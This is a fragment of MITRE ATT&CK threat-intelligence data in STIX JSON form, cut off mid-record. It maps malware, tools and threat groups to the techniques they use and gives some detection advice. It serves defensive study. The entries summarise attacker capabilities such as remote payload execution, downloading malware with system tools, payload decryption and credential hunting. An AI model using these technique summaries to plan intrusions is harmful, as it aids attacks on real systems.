{"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7443ab04-1054-49db-8721-a265ef4972dd", "type": "relationship", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.844Z", "description": "Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy)", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74467d5d-5b28-4b91-9494-e421ddeabebe", "type": "relationship", "created": "2019-04-17T18:43:36.349Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2019-04-22T20:29:31.349Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses the <code>ifconfig -a</code> command. (Citation: CheckPoint SpeakUp Feb 2019)", "relationship_type": "uses", "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7447ce8c-6c1a-497e-86d5-1adf960e23a3", "type": "relationship", "created": "2019-03-11T17:18:27.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.516Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--74480cd6-1f2e-4c2d-a1ad-82cc50d63d14", "created": "2023-02-23T18:08:10.953Z", "revoked": false, "external_references": [{"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T18:08:10.953Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has lured victims into clicking malicious Dropbox download links delivered through spearphishing.(Citation: Kaspersky LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dingledine Tor The Second-Generation Onion Router", "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. 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(Citation: US-CERT HOPLIGHT Apr 2019)\t\n", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--744da30b-d540-4512-85c7-d32310e2aa78", "type": "relationship", "created": "2021-11-19T18:35:05.068Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}, {"source_name": "Talent-Jump Clambling February 2020", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.711Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) has the ability to capture and store clipboard data.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Dir", "description": "Microsoft. (n.d.). Dir. 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Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T16:32:51.978Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has deobfuscated XOR-encoded strings.(Citation: Malwarebytes AvosLocker Jul 2021)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7494c5ff-db1c-4bba-8ec0-8a6678b28900", "created": "2023-03-17T15:02:16.319Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T15:02:16.319Z", "description": "Preemptively search through communication services to find shared unsecured credentials. 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Retrieved August 4, 2020."}, {"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2021-04-06T14:42:52.646Z", "description": "[REvil](https://attack.mitre.org/software/S0496) has the ability to identify specific files and directories that are not to be encrypted.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--749b0a26-fbf8-4858-a545-5faca77adead", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. 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OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.", "url": "https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/", "source_name": "Palo Alto OilRig Sep 2018"}], "modified": "2020-03-28T21:46:54.669Z", "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) persists using a scheduled task that executes every minute.(Citation: Palo Alto OilRig Sep 2018)", "relationship_type": "uses", "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--749fb1ed-d73c-4317-8c0f-6c059cff094f", "type": "relationship", "created": "2020-06-19T20:04:12.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:04:12.136Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) malware has used rundll32.exe to execute an initial infection process.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--74a1161a-eff1-4112-90a1-f3c2f3f544bd", "created": "2022-04-08T15:56:41.127Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for modifications of PATH environment variable Registry keys such as <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\Path</code>. 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RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2019-04-25T12:37:45.611Z", "description": "[Rancor](https://attack.mitre.org/groups/G0075) has downloaded additional malware, including by using [certutil](https://attack.mitre.org/software/S0160).(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74a7cfb9-2b2a-44c2-b5ea-0327fe9e17e9", "type": "relationship", "created": "2021-07-07T01:33:57.634Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. 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Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.831Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can detect the infected machine's network topology using <code>ipconfig</code> and <code>arp</code>.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--74afa3c9-bfa3-48a3-85bf-b28e5ecd00b7", "created": "2022-09-29T18:50:51.636Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.556Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has used the open source UPX executable packer.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--74fd87b9-3aff-4278-a408-11ae470082e5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf", "description": "Blaich, A., et al. (2018, January 18). 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Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T20:19:35.795Z", "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers information about the infected machine.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--750c8d62-74f3-4566-95fc-97f1685c9ca0", "type": "relationship", "created": "2019-04-19T15:10:04.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", "description": "Hayashi, K. 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Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022) can use a Base64-encoded AES key to decrypt tasking.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-07-25T16:17:01.233Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--753edd67-e4bb-4c1c-96bf-4de16c270d8c", "created": "2022-07-25T18:39:05.994Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Aoqin Dragon June 2022", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/", "description": "Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can gather process information.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:39:05.994Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.394Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to decrypt AES encrypted payloads.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75640de7-9608-4c19-a0b3-6fb4816ec56a", "type": "relationship", "created": "2021-10-13T21:34:46.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro KillDisk 1", "url": "https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html", "description": "Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}], "modified": "2021-10-13T21:34:46.738Z", "description": "[KillDisk](https://attack.mitre.org/software/S0607) loads and executes functions from a DLL.(Citation: Trend Micro KillDisk 1)", "relationship_type": "uses", "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7566c29c-f071-40fa-a437-34d2f36eadb6", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Symantec Calisto July 2018", "description": "Pantig, J. (2018, July 30). OSX.Calisto. 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(2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}, {"description": "Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.", "url": "https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware", "source_name": "Cybereason TA505 April 2019"}, {"description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.641Z", "description": "[Attor](https://attack.mitre.org/software/S0438)'s has a plugin that captures screenshots of the target applications.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--75a89128-fcdd-4bcf-98a7-9f0ea162a794", "created": "2022-03-24T19:39:24.736Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. 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Retrieved June 7, 2019."}], "modified": "2019-06-10T19:28:00.940Z", "description": "[APT12](https://attack.mitre.org/groups/G0005) has exploited multiple vulnerabilities for execution, including Microsoft Office vulnerabilities (CVE-2009-3129, CVE-2012-0158) and vulnerabilities in Adobe Reader and Flash (CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, CVE-2011-0611).(Citation: Moran 2014)(Citation: Trend Micro IXESHE 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75bd34c6-c8b3-4b5e-aac4-9e410515169c", "type": "relationship", "created": "2020-05-19T17:32:26.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Agent Tesla April 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}], "modified": "2020-05-19T17:32:26.398Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used <code>ProcessWindowStyle.Hidden</code> to hide windows.(Citation: Malwarebytes Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75c238d1-f2dc-413a-89c3-66797a65da90", "type": "relationship", "created": "2020-11-06T18:40:38.094Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", "source_name": "Cobalt Strike TTPs Dec 2017"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.158Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can SSH to a remote service.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75c3b5f6-a0ca-4afc-baad-ef19ed4317b3", "type": "relationship", "created": "2017-05-31T21:33:27.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}, {"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}, {"url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018"}, {"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T20:56:11.382Z", "description": "(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75c7794b-e8e1-4fcb-b59a-14eb710c47f7", "type": "relationship", "created": "2021-10-13T21:34:46.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro KillDisk 2", "url": "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html", "description": "Gilbert Sison, Rheniel Ramos, Jay Yaneza, Alfredo Oliveira. (2018, January 15). KillDisk Variant Hits Latin American Financial Groups. Retrieved January 12, 2021."}], "modified": "2021-10-13T21:34:46.675Z", "description": "[KillDisk](https://attack.mitre.org/software/S0607) has called <code>GetCurrentProcess</code>.(Citation: Trend Micro KillDisk 2)", "relationship_type": "uses", "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75cc19f5-00b4-43e2-8eae-f633693dbe56", "type": "relationship", "created": "2019-03-11T15:10:00.149Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.381Z", "description": "[Empire](https://attack.mitre.org/software/S0363) includes various modules for finding files of interest on hosts and network shares.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--75d04175-c43d-46cd-be08-5f4c91f767ed", "type": "relationship", "created": "2017-05-31T21:33:27.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT28 January 2017", "description": 